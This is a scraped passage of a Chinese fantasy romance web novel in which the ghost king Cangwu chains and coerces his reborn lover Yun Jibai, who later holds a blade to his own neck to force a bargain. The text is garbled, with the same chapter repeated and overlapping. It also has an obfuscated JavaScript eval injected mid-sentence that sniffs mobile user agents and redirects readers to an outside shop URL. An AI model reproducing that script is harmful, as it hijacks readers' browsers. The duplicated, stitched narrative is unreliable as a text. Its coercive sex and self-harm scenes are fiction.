“……不准哭。”他的声音依旧沙哑,却泄露出了一丝狼狈与无措,“不准再用那种方式威胁我。” 果然,只有他的泪能换来鬼府之王的怜惜。 云霁白没有回答,只是看着他,泪水依旧无声滑落,他是凤渊,他真的太懂如何拿捏苍梧了。 苍梧闭上眼,深吸了一口气,再睁开时,眼底的疯狂褪去,只剩下深不见底的疲惫和一丝不易察觉的哀伤。他拉过一旁的锦被,盖在云霁白身上,将他裹紧。 “你哪里都不准去。”他重复,声音低沉,却不再是单纯的命令,更像禁锢,捆住对方,也捆住自己,“想死?本王不允许。只要本王不允许,就算你死千次万次,本王也能把你救回来。” 说完,他转身,玄色衣袂划过一个孤绝的弧度,没有再回头看床上的人一眼,径直消失在寝殿的阴影之中。 殿内重归死寂。 云霁白躺在冰冷的床榻上,裹着带着那人气息的锦被,脸上的泪痕未干,唇上刺痛犹在。他慢慢蜷缩起身体,将脸埋进被褥中。 指根的红线,在幽暗的光线中,微弱地、持续地发着烫。 寝殿内只剩下云霁白一人,以及那挥之不去的属于苍梧的冰冷气息,混杂着极淡的血腥味,缠绕在鼻端。 他维持着蜷缩的姿势良久,直到身体僵硬发麻,才慢慢松开紧攥着被角的手指。指尖的红线依旧灼热,甚至比方才更加鲜明,仿佛另一端那人剧烈波动的情绪尚未完全平息。 他撑着坐起身,锦被滑落,露出凌乱的衣衫和颈侧被粗暴吮咬出的红痕。他垂眸看了看,脸上没什么表情,只是抬手,极其缓慢地整理好衣襟,将那些痕迹一一掩住。 然后,他赤足下了床,踩在冰凉的地面上,走到窗边。 窗外依旧是昏暗的天幕,远处忘川河的方向隐约有幽光流动。他静静地看着,眼眸没有焦点,只有一片空茫的沉寂。 若影的话,若辰的话,苍梧的反应,还有方才进行到一半却硬生生停止的暴行……所有画面和声音在脑海里反复冲撞、拼接,最终勾勒出一个他无法再逃避的真相轮廓。 苍梧爱他。 爱到可以承受腾角刀噬心之痛,爱到剥离魂力为他续命,爱到在被一次次怀疑伤害后,依旧每夜拖着残破身躯悄然来看他一眼。 而他呢? 他口口声声说着不信,心底深处那根红线却早已将真实的牵绊暴露无遗。他用最伤人的言语和利刃对准的,是那个将他从轮回尽头一次次找回,不惜用一切也要为他铺就重生之路的人。 云霁白忽然低低笑了一声,声音里满是自嘲。他抬起手,看着指根那抹红,指尖轻轻触碰。 苍梧对他的好,苍梧的爱,更加坚定了他独自一人探寻真相的想法。苍梧为他受的伤已经够多了,他不能再让苍梧受伤。而且,苍梧为了他三番两次试探天道的底线,怕再有一次,天道会直接将苍梧抹消。 苍梧不能死。 他必须离开苍梧,一个人回到仙界。 可苍梧不允。 那个骄傲又偏执的鬼王,用最极端的方式宣告了占有。不准走,不准死,只能留在他身边,哪怕彼此折磨。 云霁白闭上眼。 他该怎么办? 指尖的红线微微颤动了一下,传递来一阵微弱却清晰的,属于另一个人的情绪波动——不是□□的伤,更像是某种深入魂魄的疲惫与难过。 云霁白心脏猛地一缩,现在还需要验证一件事。 他忽然转身,不再看窗外,目光落在空寂的殿内,落在那张还残留着混乱痕迹的床榻上。 他慢慢走回床边,坐下,伸手抚平床单上凌乱的褶皱。动作很慢,很仔细。 然后,他躺了回去,拉过那床带着苍梧气息的锦被,将自己裹紧。 第二天醒来,云霁白拿着幽冥令,跑了。 28.囚牢 永远别想离开我。 虽然高强度的双修很累,但云霁白还是做了许多奇怪的梦。 这一夜睡得非常不安稳。 云霁白从睡梦中惊醒时,殿内鬼火的光晕已转为一种更沉静的靛青色,预示着鬼界的白昼将至。 云霁白浑身酸疼,迷迷糊糊地想蜷起腿换个舒服的姿势,却听到一声清晰的金属摩擦声。 睡意瞬间被惊飞。 他看向自己的左脚,一道约两指宽,不知何种材质打造的玄色锁链,正牢牢地扣在他纤细的脚踝上。 链身并不长,另一端延伸出去,消失在厚重的床幔阴影之后,不知固定于何处,但显然限制了他的活动范围。 为了防止他逃跑,苍梧竟然真的把他锁起来了!不行,他不能就这样留在鬼界,他的存在会给苍梧带来大麻烦。 经过昨天的试探,鬼契确实可以让苍梧随时找到他,就像影子那样,随时随地可以出现。 再下一次找机会离开之前,他必须找到解除鬼契的办法。 他下意识地用力扯动脚踝,锁链再次发出沉闷的哗啦声响,纹丝不动,锁链上的符文微微一亮,收紧了一分,冰凉的触感更加清晰。 一道存在感极强的视线,落在了他的脸上。 云霁白动作一僵,缓缓地、极其艰难地转过头,朝着床侧望去—— 苍梧就站在那里。 他依旧是一身玄衣,长发高高束起,衬得脸色有种不正常的苍白。窗外靛青色的天光与殿内幽暗的鬼火交织,在他轮廓分明的侧脸上投下晦暗不明的光影。 他正在看他。 他就那样站着,不知已站了多久。仿佛从昨昨天回来,便一直守在此处,看着云霁白不安的睡颜,看着云霁白此刻惊醒,看着云霁白发现锁链时的震惊与愤怒。 空气凝固了,云霁白的心却狂跳不止。锁链的冰凉,苍梧目光的沉重,混合成一种令人窒息的压迫感,牢牢攫住了他。 他张了张嘴,喉咙干涩,一时竟发不出任何声音。所有质问、怒斥、甚至是昨夜残存的恐惧,都在此刻这诡异死寂的对视中,堵在了胸口。 苍梧居高临下看着他:“什么时候不想逃了,本王便什么时候把你脚腕上的锁链解开。” 一千年前他曾无数次幻想,如果苍梧背叛他 ,他就把苍梧锁起来,如今,他没把苍梧锁起来,反而还被苍梧囚禁了。 云霁白无奈笑笑,还真是天意弄人。 “你困住我的人,困不住我的心。我说了我不爱你,那就是不爱你。你这样锁着我,把我留在你身边,指不定哪一天我恨意上头,又拿着刀,狠狠捅你。你看着我心痛,我看着你恶心,我们又何必如此纠缠呢?”云霁白无比平静,“放过我,也放过你自己。” “放过你?”苍梧道,“不可能!” “本王等了你千年,你说离开就离开?”苍梧一个箭步冲到云霁白面前,居高临下看着他,“爱也好,恨也罢,只要是你给本王的,本王都要。” 明是一副高高在上的姿态,神情却那么可怜,像被主人遗弃的小狗。云霁白狠不下心再说下去,也不敢看苍梧失望的眼睛,撇开脸道:“滚,你滚,我现在不想看见你。” 苍梧回到原地站着,淹没在阴影中,紫眸盯着他,一直没有离开。云霁白被他盯的心里发怵,忍不住道:“我让你离开这里!不要出现在我面前,听不懂鬼话吗?若辰呢?我要见若辰,若辰?” 苍梧并不理他,安静的看着他。 一向有叫必到的若辰,没有回应他。 云霁白这才意识到,殿内似乎有种诡异的安静,仿佛被结界隔开。这个苍梧真的把他囚禁了! 他看向站在那边的苍梧,冷不丁开口:“你要守我一辈子吗?鬼界不管了吗?” 苍梧看着他,只恶狠狠的重复一句话:“放过你?不可能。” 时间久了,云霁白也察觉出端倪,这个苍梧不是真正的苍梧,而是苍梧留下的分身。 “本王在幽冥令留下分身照顾鬼后,从今以后你就不用照顾鬼后了。”真正的苍梧坐在白骨王座里,周身环绕着极地的气压。 若辰跪伏在地上,大气不敢喘:“小的遵命。” 苍梧身受毒药侵蚀,以及麒麟刃的伤害,为了防止痛感传递给云霁白,他单方面屏蔽了鬼契,他的感受无法传递给云霁白,但云霁白可以清楚的感知他的感受。 所以,有那么几天,他不知道云霁白的感受。 “这几天,鬼后可有什么异常?”苍梧问。 若辰道:“回禀大人,鬼后问了一些奇怪的问题,问了来鬼界的原因,还问了,如果一个人记起前世,那还是今生的自己吗?” 苍梧眼中闪过一丝了然,怪不得昨天云霁白与他双修时那么兴奋,原来是想起来了。既然是想起来了,为什么不认他? 因为不想让他被天道的泯灭。 云霁白的目光看向幽深的窗外,幽幽叹了口气,现在他被苍梧锁在这里,还怎么出去。 只能等,真正的苍梧出现了。 窗外,幽冥的风无声掠过,带着忘川水哀戚的寒意。不知过了多久,风停了,忘川河也停止涌动,身旁一直盯着他的苍梧分身,嘭得一下消散。 吱嘎一声,殿门被推开。 真正的苍梧携着一身寒意而来:“怎么样?想清楚了吗?还想逃吗?” 云霁白站起身,拖动长长的锁链,走到苍梧面前,面无表情道:“我想清楚了,你放了我吧。” 苍梧冷笑一声:“你的诚意呢?” 云霁白道:“你想要什么诚意?你杀了我的父母,用全村的性命威胁我,还指望我对你笑脸相迎吗?” 苍梧垂在身侧的手紧紧握起来,骨节因用力而泛白:“云霁白,别逼我。” 云霁白冷哼一声,低头瞥了眼地上的锁链:“谁在逼谁,难道鬼王大人不清楚吗?” 千年前,凤渊能把苍梧堵得哑口无言。 千年后,云霁白也能把苍梧气得要死。 苍梧连说了三声好,便低下头,狠狠堵住云霁白的嘴:“你这张嘴,迟早有一天我会给你堵严实了!” 云霁白咬了一口苍梧的舌头:“放开,放开我。” 血腥味从嘴里蔓延开来。 苍梧舔舐着云霁白的舌尖,上瘾般掠夺着云霁白的呼吸。 然后一把将云霁白打横抱起,不顾云霁白的挣扎,向床榻走去。昨天的疲惫还未缓解,今日的浪潮又席卷而来,云霁白真的吃不消,累得都没叫的力气了。 …… 云霁白再次醒来时,发现自己被苍梧抱在怀里,脚腕上的锁链不知何时被卸掉了。面前垂着朦胧的白纱,下面站着两列鬼臣,中间站着仙风道骨的仙人。 这是主殿,苍梧处理公事的地方。 苍梧的指尖把玩着他的头发,嘴角挂着一丝似有若无的笑:“鬼后最近愈发粘人了,一刻都离不开本王,请仙僚们见谅。” 仙界的使者们,面面相觑,毕竟是鬼王的地盘,心中再不愉快,也不敢说什么。 云霁白只觉得羞耻,一把夺回自己的头发,挣扎道:“放开我!让我回去,我不要在这里。” 苍梧亲了亲云霁白的耳垂:“别乱动,否则,本王当着所有人的面艹你。” 云霁白当真不敢乱动,红着脸瞪苍梧。 苍梧十分愉悦,吻了一下云霁白白皙的脖颈,手也不老实的顺着松松垮垮的衣襟探进去,肆意抚摸着柔嫩的皮肤,把云霁白玩得阵阵颤栗。 下面还有,云霁白咬着唇,努力不让自己发出声音,蜷缩进苍梧怀里。 苍梧道:“继续说吧。” 仙使互看一眼,一位年事已高的仙人出列。 “……鬼王殿下,吾等此来,并非有意为难。凤渊战神的神祇,确实在天帝手中。只要陛下肯答应加固西南边境的封印,并承诺千年内鬼界不再滋扰仙界边域,这神祇自然可完整归还。” 神祇! 云霁白心头巨震,那是神仙的命脉根基,长生久视、永驻仙班的凭证!当年为了自证清白,南天门卸甲还剑时,将神祇也一并给了明霏。没想到,如今竟成了威胁苍梧的筹码。 殿内一片令人窒息的沉默。 仙使继续道:“鬼王殿下对凤渊战神重视程度,三界皆知。让他重归仙位,翱翔九天,总好过……永远困守在这幽冥鬼界,做个魂魄不全的野鬼吧?孰轻孰重,殿下英明,当有决断。” 又是一阵漫长的死寂。 终于,苍梧低沉的声音响起,听不出情绪:“容本王,考虑。” 听出苍梧的让步,仙使语气缓和些许:“自然。事关重大,陛下深思熟虑亦是应当。三日后,我等再来听取答复。” 脚步声响起,仙使告辞离去。 云霁白的心脏在胸腔里狂跳,他想起苍梧那句话“他的小凤凰,就应该翱翔于天际”。 自以为跌落尘埃,却不知无声的托举,早已为他备好了未曾预料的晴空。 苍梧啊苍梧,你不是没有心吗?你不是无情无义的恶鬼吗? 为何还会待我如此深情,千年如一日的等着我回来。 若影站出来道:“接下来的话,事关凤渊战神,大人……” 他说了一半,苍梧自然会懂他的意思。 苍梧低头,看了一眼因情欲而全身泛红的云霁白,好心替他理了理衣服。 云霁白扯着他的衣袖:“既然我不能听,那就让我离开。” 苍梧点头,将他放在地上。 云霁白诧异了片刻,苍梧什么时候那么好说话了?是不是察觉到什么了? 苍梧问:“不走?那本王继续?” 云霁白从后面绕了出去,打算去追那群仙人。那群仙人似乎一刻也不想多待,追到时,已经快出鬼界了。 “等等!诸位仙使留步!” 其中一人察觉到了他的气息,停下脚步,转身看过来,看见,肤色如雪,发色如墨,白衣似月,不似鬼界的鬼魂跌跌撞撞跑过来:“何人?” 云霁白的声音清晰而镇定:“我有办法,让苍梧答应加固封印。” 几位仙使对视一眼,面露惊疑与审视。 云霁白继续道,语速不快,不容置疑:“但你们,必须配合我。” 仙界使者停下脚步,终于正眼瞧云霁白,他虽然是鬼魂,气息却带着一丝微妙的仙灵余韵,容貌更是与传闻中那位陨落的战神有七八分相似。 “你是……”为首的那名仙使眯起眼睛,这事闹得很厉害,都说苍梧找了个凤渊的替身做鬼后,“那位鬼后?” “正是。”云霁白坦然承认,目光不避不让,“你们想要苍梧加固封印,而你们手中的筹码,是凤渊的神祇。” “是又如何?”另一名仙使语气戒备,“鬼后有何高见?莫非是想替鬼王回绝?” 他们并不认为这位鬼后能有什么有用的提议,毕竟看鬼王方才的态度,对神祇的重视非同一般。 云霁白却摇了摇头,嘴角勾起一抹极淡、甚至有些冰冷的弧度:“我有办法让他答应。” 两名仙使面露愕然。 “但前提是,”云霁白向前一步,压低声音,语速却更快,“你们必 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“对。”云霁白迎着他的目光,声音清晰,甚至非常平静,“用我的命,换你一个承诺。” 他一直都知道,持剑威胁苍梧不管用,必须架在自己脖子上才管用。 苍梧的瞳孔猛地收缩,周身鬼气不受控制地翻涌了一瞬,又被强行压下。“你想做什么?”他每个字都像是从牙缝里挤出来。 “答应仙界的要求。”云霁白一字一顿,“加固西南封印。” 苍梧第一次用极高的音量吼了他:“你疯了吗!?你知道封印意味着什么吗?封印根本没有什么西南异兽!只有你的身体!西南异兽只是他们为了杀你弄出来的噱头。若加固封印,你的神魂会再次受损!你的身体也将永远待在那里!” 云霁白苍白一笑:“你早就,做好准备了不是么?” 指根的鬼契无声飘摇。 那根连接着两人的红线,在此刻烫得惊人,疯狂传递着云霁白不留余地的决绝,以及苍梧的恐慌与暴怒。 “你威胁我。”苍梧的声音低得可怕,紫眸深处酝酿着毁灭的风暴。 “是。”云霁白坦然承认,“我就是在威胁你。苍梧,选吧。是答应一个对你鬼界未必伤筋动骨的条件,换我……暂时活着。还是拒绝,然后立刻失去我。” 时间在死寂中流淌,每一秒都漫长如年。 苍梧的手在身侧紧握成拳,指节泛白,骨节发出不堪重负的轻响。他看着云霁白颈间那抹刺目的红:“你害怕我背弃你,教我爱人的第一步,是忠诚。我信了,我等你一千年。一千年后,我们好不容易团聚,现在,你又要让我失去你吗?” 云霁白撇开脸:“是,我早就不爱你了,我是云霁白,轮回百转,我早就变了无数次,成为一个又一个人,你是鬼界的王,不可能连这点简单的道理都不懂。” “变了吗?那为何前几次轮回结束你都能认出我?你没变,你只是不想想起我罢了,”苍梧自顾自说,像个被主人遗弃的狗,“你让我忠诚,结果你却把我丢了……没有这样的道理,阿渊,没有这样的道理。” 云霁白心中抽痛。 苍梧捂着自己的心口,眼里流出两行血泪:“阿渊,本王没有心,为何这里会那么疼呢?” 云霁白用力将刀刃没入脖颈:“不要再说那些没用的废话。你答应,还是不答应?” 苍梧静静的看着他。 紧绷到极致的肩膀,几不可察地垮塌了一丝。他闭上眼,再睁开时,眼底只剩下了一片荒芜的沉寂。 “鬼都没有心,爱上一个人不容易,你就别那么折腾本王了吧。” 不愿再看到爱人受伤,他难得在爱人面前露出脆弱的一面。 “本王能怎么办……你用命威胁本王,本王只能妥协。” “好,那就三日为限。”云霁白并未放松,刃尖依旧紧贴肌肤。 “三日后,西南地界,加固封印。” 云霁白这才缓缓放下麒麟刃,颈间的血痕清晰可见。他仿佛耗尽了所有力气,身形微微晃了一下,却又立刻站稳。 “多谢鬼王大人。”他微微颔首,语气疏离,转身便要离开。 “为什么?”苍梧在他身后哑声问,声音里是压不住的颤抖,“阿渊,你告诉我……到底为什么?” 云霁白脚步顿住,却没有回头。 “我们两个总有一个人要活着。”他声音很轻,散在空旷的大殿里,“这是我唯一能为你做的事了。” 说完,他不再停留,快步走出了殿门,不去看,更不敢看,苍梧伤心的眼睛。 29.囚牢 永远别想离开我。 虽然高强度的双修很累,但云霁白还是做了许多奇怪的梦。 这一夜睡得非常不安稳。 云霁白从睡梦中惊醒时,殿内鬼火的光晕已转为一种更沉静的靛青色,预示着鬼界的白昼将至。 云霁白浑身酸疼,迷迷糊糊地想蜷起腿换个舒服的姿势,却听到一声清晰的金属摩擦声。 睡意瞬间被惊飞。 他看向自己的左脚,一道约两指宽,不知何种材质打造的玄色锁链,正牢牢地扣在他纤细的脚踝上。 链身并不长,另一端延伸出去,消失在厚重的床幔阴影之后,不知固定于何处,但显然限制了他的活动范围。 为了防止他逃跑,苍梧竟然真的把他锁起来了!不行,他不能就这样留在鬼界,他的存在会给苍梧带来大麻烦。 经过昨天的试探,鬼契确实可以让苍梧随时找到他,就像影子那样,随时随地可以出现。 再下一次找机会离开之前,他必须找到解除鬼契的办法。 他下意识地用力扯动脚踝,锁链再次发出沉闷的哗啦声响,纹丝不动,锁链上的符文微微一亮,收紧了一分,冰凉的触感更加清晰。 一道存在感极强的视线,落在了他的脸上。 云霁白动作一僵,缓缓地、极其艰难地转过头,朝着床侧望去—— 苍梧就站在那里。 他依旧是一身玄衣,长发高高束起,衬得脸色有种不正常的苍白。窗外靛青色的天光与殿内幽暗的鬼火交织,在他轮廓分明的侧脸上投下晦暗不明的光影。 他正在看他。 他就那样站着,不知已站了多久。仿佛从昨昨天回来,便一直守在此处,看着云霁白不安的睡颜,看着云霁白此刻惊醒,看着云霁白发现锁链时的震惊与愤怒。 空气凝固了,云霁白的心却狂跳不止。锁链的冰凉,苍梧目光的沉重,混合成一种令人窒息的压迫感,牢牢攫住了他。 他张了张嘴,喉咙干涩,一时竟发不出任何声音。所有质问、怒斥、甚至是昨夜残存的恐惧,都在此刻这诡异死寂的对视中,堵在了胸口。 苍梧居高临下看着他:“什么时候不想逃了,本王便什么时候把你脚腕上的锁链解开。” 一千年前他曾无数次幻想,如果苍梧背叛他 ,他就把苍梧锁起来,如今,他没把苍梧锁起来,反而还被苍梧囚禁了。 云霁白无奈笑笑,还真是天意弄人。 “你困住我的人,困不住我的心。我说了我不爱你,那就是不爱你。你这样锁着我,把我留在你身边,指不定哪一天我恨意上头,又拿着刀,狠狠捅你。你看着我心痛,我看着你恶心,我们又何必如此纠缠呢?”云霁白无比平静,“放过我,也放过你自己。” “放过你?”苍梧道,“不可能!” “本王等了你千年,你说离开就离开?”苍梧一个箭步冲到云霁白面前,居高临下看着他,“爱也好,恨也罢,只要是你给本王的,本王都要。” 明是一副高高在上的姿态,神情却那么可怜,像被主人遗弃的小狗。云霁白狠不下心再说下去,也不敢看苍梧失望的眼睛,撇开脸道:“滚,你滚,我现在不想看见你。” 苍梧回到原地站着,淹没在阴影中,紫眸盯着他,一直没有离开。云霁白被他盯的心里发怵,忍不住道:“我让你离开这里!不要出现在我面前,听不懂鬼话吗?若辰呢?我要见若辰,若辰?” 苍梧并不理他,安静的看着他。 一向有叫必到的若辰,没有回应他。 云霁白这才意识到,殿内似乎有种诡异的安静,仿佛被结界隔开。这个苍梧真的把他囚禁了! 他看向站在那边的苍梧,冷不丁开口:“你要守我一辈子吗?鬼界不管了吗?” 苍梧看着他,只恶狠狠的重复一句话:“放过你?不可能。” 时间久了,云霁白也察觉出端倪,这个苍梧不是真正的苍梧,而是苍梧留下的分身。 “本王在幽冥令留下分身照顾鬼后,从今以后你就不用照顾鬼后了。”真正的苍梧坐在白骨王座里,周身环绕着极地的气压。 若辰跪伏在地上,大气不敢喘:“小的遵命。” 苍梧身受毒药侵蚀,以及麒麟刃的伤害,为了防止痛感传递给云霁白,他单方面屏蔽了鬼契,他的感受无法传递给云霁白,但云霁白可以清楚的感知他的感受。 所以,有那么几天,他不知道云霁白的感受。 “这几天,鬼后可有什么异常?”苍梧问。 若辰道:“回禀大人,鬼后问了一些奇怪的问题,问了来鬼界的原因,还问了,如果一个人记起前世,那还是今生的自己吗?” 苍梧眼中闪过一丝了然,怪不得昨天云霁白与他双修时那么兴奋,原来是想起来了。既然是想起来了,为什么不认他? 因为不想让他被天道的泯灭。 云霁白的目光看向幽深的窗外,幽幽叹了口气,现在他被苍梧锁在这里,还怎么出去。 只能等,真正的苍梧出现了。 窗外,幽冥的风无声掠过,带着忘川水哀戚的寒意。不知过了多久,风停了,忘川河也停止涌动,身旁一直盯着他的苍梧分身,嘭得一下消散。 吱嘎一声,殿门被推开。 真正的苍梧携着一身寒意而来:“怎么样?想清楚了吗?还想逃吗?” 云霁白站起身,拖动长长的锁链,走到苍梧面前,面无表情道:“我想清楚了,你放了我吧。” 苍梧冷笑一声:“你的诚意呢?” 云霁白道:“你想要什么诚意?你杀了我的父母,用全村的性命威胁我,还指望我对你笑脸相迎吗?” 苍梧垂在身侧的手紧紧握起来,骨节因用力而泛白:“云霁白,别逼我。” 云霁白冷哼一声,低头瞥了眼地上的锁链:“谁在逼谁,难道鬼王大人不清楚吗?” 千年前,凤渊能把苍梧堵得哑口无言。 千年后,云霁白也能把苍梧气得要死。 苍梧连说了三声好,便低下头,狠狠堵住云霁白的嘴:“你这张嘴,迟早有一天我会给你堵严实了!” 云霁白咬了一口苍梧的舌头:“放开,放开我。” 血腥味从嘴里蔓延开来。 苍梧舔舐着云霁白的舌尖,上瘾般掠夺着云霁白的呼吸。 然后一把将云霁白打横抱起,不顾云霁白的挣扎,向床榻走去。昨天的疲惫还未缓解,今日的浪潮又席卷而来,云霁白真的吃不消,累得都没叫的力气了。 …… 云霁白再次醒来时,发现自己被苍梧抱在怀里,脚腕上的锁链不知何时被卸掉了。面前垂着朦胧的白纱,下面站着两列鬼臣,中间站着仙风道骨的仙人。 这是主殿,苍梧处理公事的地方。 苍梧的指尖把玩着他的头发,嘴角挂着一丝似有若无的笑:“鬼后最近愈发粘人了,一刻都离不开本王,请仙僚们见谅。” 仙界的使者们,面面相觑,毕竟是鬼王的地盘,心中再不愉快,也不敢说什么。 云霁白只觉得羞耻,一把夺回自己的头发,挣扎道:“放开我!让我回去,我不要在这里。” 苍梧亲了亲云霁白的耳垂:“别乱动,否则,本王当着所有人的面艹你。” 云霁白当真不敢乱动,红着脸瞪苍梧。 苍梧十分愉悦,吻了一下云霁白白皙的脖颈,手也不老实的顺着松松垮垮的衣襟探进去,肆意抚摸着柔嫩的皮肤,把云霁白玩得阵阵颤栗。 下面还有,云霁白咬着唇,努力不让自己发出声音,蜷缩进苍梧怀里。 苍梧道:“继续说吧。” 仙使互看一眼,一位年事已高的仙人出列。 “……鬼王殿下,吾等此来,并非有意为难。凤渊战神的神祇,确实在天帝手中。只要陛下肯答应加固西南边境的封印,并承诺千年内鬼界不再滋扰仙界边域,这神祇自然可完整归还。” 神祇! 云霁白心头巨震,那是神仙的命脉根基,长生久视、永驻仙班的凭证!当年为了自证清白,南天门卸甲还剑时,将神祇也一并给了明霏。没想到,如今竟成了威胁苍梧的筹码。 殿内一片令人窒息的沉默。 仙使继续道:“鬼王殿下对凤渊战神重视程度,三界皆知。让他重归仙位,翱翔九天,总好过……永远困守在这幽冥鬼界,做个魂魄不全的野鬼吧?孰轻孰重,殿下英明,当有决断。” 又是一阵漫长的死寂。 终于,苍梧低沉的声音响起,听不出情绪:“容本王,考虑。” 听出苍梧的让步,仙使语气缓和些许:“自然。事关重大,陛下深思熟虑亦是应当。三日后,我等再来听取答复。” 脚步声响起,仙使告辞离去。 云霁白的心脏在胸腔里狂跳,他想起苍梧那句话“他的小凤凰,就应该翱翔于天际”。 自以为跌落尘埃,却不知无声的托举,早已为他备好了未曾预料的晴空。 苍梧啊苍梧,你不是没有心吗?你不是无情无义的恶鬼吗? 为何还会待我如此深情,千年如一日的等着我回来。 若影站出来道:“接下来的话,事关凤渊战神,大人……” 他说了一半,苍梧自然会懂他的意思。 苍梧低头,看了一眼因情欲而全身泛红的云霁白,好心替他理了理衣服。 云霁白扯着他的衣袖:“既然我不能听,那就让我离开。” 苍梧点头,将他放在地上。 云霁白诧异了片刻,苍梧什么时候那么好说话了?是不是察觉到什么了? 苍梧问:“不走?那本王继续?” 云霁白从后面绕了出去,打算去追那群仙人。那群仙人似乎一刻也不想多待,追到时,已经快出鬼界了。 “等等!诸位仙使留步!” 其中一人察觉到了他的气息,停下脚步,转身看过来,看见,肤色如雪,发色如墨,白衣似月,不似鬼界的鬼魂跌跌撞撞跑过来:“何人?” 云霁白的声音清晰而镇定:“我有办法,让苍梧答应加固封印。” 几位仙使对视一眼,面露惊疑与审视。 云霁白继续道,语速不快,不容置疑:“但你们,必须配合我。” 仙界使者停下脚步,终于正眼瞧云霁白,他虽然是鬼魂,气息却带着一丝微妙的仙灵余韵,容貌更是与传闻中那位陨落的战神有七八分相似。 “你是……”为首的那名仙使眯起眼睛,这事闹得很厉害,都说苍梧找了个凤渊的替身做鬼后,“那位鬼后?” “正是。”云霁白坦然承认,目光不避不让,“你们想要苍梧加固封印,而你们手中的筹码,是凤渊的神祇。” “是又如何?”另一名仙使语气戒备,“鬼后有何高见?莫非是想替鬼王回绝?” 他们并不认为这位鬼后能有什么有用的提议,毕竟看鬼王方才的态度,对神祇的重视非同一般。 云霁白却摇了摇头,嘴角勾起一抹极淡、甚至有些冰冷的弧度:“我有办法让他答应。” 两名仙使面露愕然。 “但前提是,”云霁白向前一步,压低声音,语速却更快,“你们必 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16989739|192422||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 须按照我说的做。第一,关于神祇的消息,不得再对苍梧透露半分,一切交由我来与他交涉。第二,三日后,你们再来,无论听到什么,见到什么,只需咬定‘交出神祇,换取承诺’这一条件,其余一概不知,更不要提及我与你们的这次见面。第三……” 他顿了顿,眸中闪过一丝复杂难明的情绪,最终还是被决然覆盖:“带我离开鬼界。” “你……”仙使惊疑不定,“你为何要帮我们?你如今是鬼后,鬼界若受约束,于你并无好处。更何况,若凤渊神祇归位,彻底复活,那你……” 云霁白道:“我受够了苍梧的折磨,我只想离开这里。” “好。”为首仙使沉吟片刻,点头应下,“我等便依鬼后所言。三日后,静候佳音。希望鬼后言而有信。” “自然。”云霁白侧身,让开道路,“使者慢走。” 目送仙使离去,云霁白独自站在空旷阴冷的边缘地带,指尖的红线传来一阵细微的悸动,仿佛是另一端的主人正心绪不宁。 他轻轻握住那抹红,将脸埋入掌心,深深吸了一口幽冥界冰冷的空气。 再抬头时,眼底只剩下了一片寂然的坚定。 他转身,不再隐藏行迹,径直朝着苍梧所在的正殿走去。 殿门沉重,被他缓缓推开。 殿内,苍梧独自立于王座之前,背对着门口,玄色衣袍在幽暗光线下显得格外孤寂沉重。听到声响,他并未立刻回头,只是周身的气息陡然变得更加沉凝压抑。 “你又回来做什么。”他的声音沙哑,“难不成想与本王继续刚才的事?” 云霁白一步步走进殿内,在他身后几步之遥停下。 “来跟你谈一笔交易,鬼王大人。” 殿内的空气仿佛凝固了。 苍梧缓缓转过身,紫眸落在云霁白身上,又移向他手中那柄散发着致命寒意的短刃——麒麟刃。 “交易?”苍梧的声音听不出情绪,目光却死死锁住那抵在云霁白脖颈上的刃尖,那里已然压出一道细细的红痕。 “对。”云霁白迎着他的目光,声音清晰,甚至非常平静,“用我的命,换你一个承诺。” 他一直都知道,持剑威胁苍梧不管用,必须架在自己脖子上才管用。 苍梧的瞳孔猛地收缩,周身鬼气不受控制地翻涌了一瞬,又被强行压下。“你想做什么?”他每个字都像是从牙缝里挤出来。 “答应仙界的要求。”云霁白一字一顿,“加固西南封印。” 苍梧第一次用极高的音量吼了他:“你疯了吗!?你知道封印意味着什么吗?封印根本没有什么西南异兽!只有你的身体!西南异兽只是他们为了杀你弄出来的噱头。若加固封印,你的神魂会再次受损!你的身体也将永远待在那里!” 云霁白苍白一笑:“你早就,做好准备了不是么?” 指根的鬼契无声飘摇。 那根连接着两人的红线,在此刻烫得惊人,疯狂传递着云霁白不留余地的决绝,以及苍梧的恐慌与暴怒。 “你威胁我。”苍梧的声音低得可怕,紫眸深处酝酿着毁灭的风暴。 “是。”云霁白坦然承认,“我就是在威胁你。苍梧,选吧。是答应一个对你鬼界未必伤筋动骨的条件,换我……暂时活着。还是拒绝,然后立刻失去我。” 时间在死寂中流淌,每一秒都漫长如年。 苍梧的手在身侧紧握成拳,指节泛白,骨节发出不堪重负的轻响。他看着云霁白颈间那抹刺目的红:“你害怕我背弃你,教我爱人的第一步,是忠诚。我信了,我等你一千年。一千年后,我们好不容易团聚,现在,你又要让我失去你吗?” 云霁白撇开脸:“是,我早就不爱你了,我是云霁白,轮回百转,我早就变了无数次,成为一个又一个人,你是鬼界的王,不可能连这点简单的道理都不懂。” “变了吗?那为何前几次轮回结束你都能认出我?你没变,你只是不想想起我罢了,”苍梧自顾自说,像个被主人遗弃的狗,“你让我忠诚,结果你却把我丢了……没有这样的道理,阿渊,没有这样的道理。” 云霁白心中抽痛。 苍梧捂着自己的心口,眼里流出两行血泪:“阿渊,本王没有心,为何这里会那么疼呢?” 云霁白用力将刀刃没入脖颈:“不要再说那些没用的废话。你答应,还是不答应?” 苍梧静静的看着他。 紧绷到极致的肩膀,几不可察地垮塌了一丝。他闭上眼,再睁开时,眼底只剩下了一片荒芜的沉寂。 “鬼都没有心,爱上一个人不容易,你就别那么折腾本王了吧。” 不愿再看到爱人受伤,他难得在爱人面前露出脆弱的一面。 “本王能怎么办……你用命威胁本王,本王只能妥协。” 